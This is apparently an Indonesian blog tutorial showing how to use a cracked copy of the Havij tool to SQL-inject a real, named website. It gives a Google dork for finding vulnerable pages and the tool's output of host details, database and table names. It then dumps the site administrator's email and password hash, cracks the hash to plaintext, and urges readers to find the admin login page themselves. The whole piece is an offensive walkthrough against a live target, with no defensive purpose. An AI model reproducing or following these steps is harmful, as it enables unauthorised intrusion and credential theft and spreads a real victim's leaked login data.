Tutorial SQL Injection Menggunakan Tools Havij
Kemarn saya sudah share Tools Havij 1.15 Pro version [Cracked] . Kali ini saya akan share cara menggunakan Havij tersebut untuk menemukan password web target dengan SQLi .
Oke, langsung saja kita mulai ritualnya :
Pertama, cari target lewat google dork.
Google Dork : inurl:”pages.php?id=”
Lalu kita pilih salah satu target. Untuk percobaan, saya pilih target : http://www.radiesse-voice.com/pages.php?id=15
Maka kita akan mendapat data-data sebagai berikut :
Kita masukkan alamat tersebut ke kolom target yang ada di Havij lalu klik analyze . tungu sampai kolom paling bawah bertuliskan Status : I’m IDLE
Host IP: 65.98.217.75
Web Server: Microsoft-IIS/6.0
Powered-by: ASP.NET
Powered-by: PHP/5.2.17
Keyword Found: Billing
Injection type is Integer
DB Server: MySQL >=5
Selected Column Count is 7
Valid String Column is 3
Current DB: radiesse
Oke, lanjut ke step 2 : Klik Tables lalu kik Get Tables
Maka akan keluar kolom baru yaitu rad_admin, rad_news, rad_page . Karena kita ingin mencari akses admin, kita coba kolom rad_admin. centang kolom rad_admin lalu klik get columns
Setelah selesai, kita lihat di kolom bawah. Kita mendapatkan data sebagai berikut :
Data Found: admin_id,admin_email,admin_pass=1^admin@radiesse.com^f97c5d29941bfb1b2fdab0874906ab82
Oke, hampir berhasil. Kita menemukan kolom : admin_id, admin_email, admin_pass, admin_passo
Kita coba lihat isi dari admin_id , admin_email, admin_pass . Centangadmin_id , admin_email, admin_pass lalu klik get data
Admin ID : 1
Admin Email : admin@radiesse.com
Admin Password : f97c5d29941bfb1b2fdab0874906ab82
Namun password belum di encrypt. Maka kita encrypt menggunakan fitur MD5.
Dan kita mendapatkan data sebagai berikut : Plain text of f97c5d29941bfb1b2fdab0874906ab82 is one . Jadi passwordnya adalah one.
Sampai disini semua beres. Tinggal nyari admin loginnya. Karena ini butuh waktu yang lama, cari sendiri-sendiri aja ya Admin Loginnya. Gunakan Fitur Find Admin
Oke, sekian tutorial kali ini, selamat mencoba.
Komentar